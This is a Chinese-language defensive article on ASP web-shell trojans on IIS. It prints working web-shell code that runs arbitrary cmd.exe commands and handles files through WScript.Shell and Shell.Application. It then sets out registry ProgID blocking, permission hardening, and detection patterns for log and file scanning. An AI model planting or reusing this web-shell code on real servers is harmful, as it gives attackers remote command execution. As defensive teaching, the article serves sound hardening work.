ASP 木馬利用 IIS 內建的 ActiveX 物件 (WScript.Shell、Shell.Application、Scripting.FileSystemObject) 執行系統指令、檔案操作、登錄表讀寫,屬於「無檔案/腳本型」後門,傳統防毒軟體極難查殺。本文剖析兩款經典 ASP 木馬原始碼、攻擊鏈原理,建立從「物件封鎖、權限最小化、流量檢測、應用層 WAF、應急響應」的纏繞防禦體系。
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
szTempFile = "C:" & oFileSys.GetTempName()
oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
oFileSys.DeleteFile szTempFile, True
End If
Scripting.FileSystemObject (FSO) 支援 → 可透過 IIS「應用程式對應」移除 .asp 對 FSO 的存取、或注冊表封鎖 Scripting.FileSystemObject ProgID 來阻斷。IUSR_* 身分執行 → 僅具 Guest 權限,除非該帳號被加入 Administrators (極度危險配置)。Set shell = Server.CreateObject("Shell.Application")
Set fod1 = shell.NameSpace(szCMD) ' 目錄瀏覽
For Each co In fod1.Items
Response.Write co.Path & "-----" & co.Size
Next
' 複製/移動/執行程式
Set shell1 = Server.CreateObject("Shell.Application")
Set fod1 = shell1.NameSpace(szTarget)
fod1.CopyHere fodItem ' 複製
fod1.MoveHere fodItem ' 移動
shell3.NameSpace(szPath).Items.Item(szExe).InvokeVerb ' 執行程式
路徑:HKEY_CLASSES_ROOT\CLSID\{ProgID 對應的 CLSID} 或直接修改 HKEY_CLASSES_ROOT\ProgID。
| ProgID | CLSID (參考) | 封鎖方式 | 影響面 |
|---|---|---|---|
| WScript.Shell | {72C24DD5-D70A-438B-8A42-98424B88AFB8} | 重命名 Key → WScript.Shell.DISABLED 或刪除 | 影響所有 .asp/.vbs/.js 使用該物件的合法程式 |
| WScript.Network | {3F4DACA7-160D-11D2-A8E9-00104B365C9F} | 同上 | 網路對應/印表機腳本受影響 |
| Scripting.FileSystemObject | {0D43FE01-F093-11CF-8940-00A0C9054228} | 同上 | 檔案系統操作腳本受影響 |
| Shell.Application | {13709620-C279-11CE-A49E-444553540000} | 同上 | Shell 命名空間操作受影響 |
| ADODB.Stream | {00000566-0000-0010-8000-00AA006D2EA4} | 同上 | 二進制檔案讀寫/上傳組件受影響 |
操作步驟:
1.regedit→ 定位上述 Key → 右鍵重命名 (建議加.DISABLED後綴,保留原名便於回滾)。
2. 必須重啟 IIS (iisreset) 或回收應用程式集區使生效。
3. 修改後測試:合法 ASP 頁面嘗試Server.CreateObject("WScript.Shell")應報錯800a01ad - ActiveX component can't create object。
注意: 木馬作者可嘗試WScript.Shell.1、WScript.Shell.DISABLED等變體,建議同時封鎖版本無關 ProgID 或使用AppLocker/WDAC白名單模式。
ApplicationPoolIdentity (虛擬帳號)。IIS_IUSRS:(RX)、應用程式集群虛擬帳號:(RX)、管理員:(F)、SYSTEM:(F)。(W),並設定「執行權限:無」。AspEnableParentPaths = False (IIS 6 metabase / IIS 7 applicationHost.config)。| 檢測維度 | 指標/工具 | 響應動作 |
|---|---|---|
| Web 日誌分析 | 高頻 POST 含 Server.CreateObject、cmd.exe、異常 User-Agent | WAF 封禁 IP、告警 SOC |
| 檔案完整性監控 (FIM) | Tripwire / OSSEC / Wazuh / PowerShell Get-FileHash 定時比對 | 發現新增/變更 .asp/.asa → 隔離、取證 |
| 進程行為監控 | Sysmon Event ID 1 (Process Create) 捕獲 w3wp.exe 生成 cmd.exe/cscript.exe | EDR 終結進程、隔離主機 |
| 記憶體掃描 | Volatility / WinDbg 分析 w3wp.exe 轉儲,搜尋 ProgID 字串 | 確認無檔案攻擊、提取 IOC |
Server.CreateObject、WScript.Shell、Shell.Application、eval(、execute( 字串。findstr /r /s /i /c:"Server.CreateObject" *.asp *.asa *.cer *.cdx、grep -r、YARA 規則。現代防禦棧:ASP.NET Core / Node.js / Python / Go / Java 取代經典 ASP,從語言層面消除 ActiveX 物件攻擊面。若必須維護舊 ASP 系統,請部署 ModSecurity + OWASP CRS + 自定義規則、啟用 IIS 請求篩選、實施 應用程式白名單 (WDAC/AppLocker)、建立 FIM + Sysmon + EDR 三位一體檢測體系。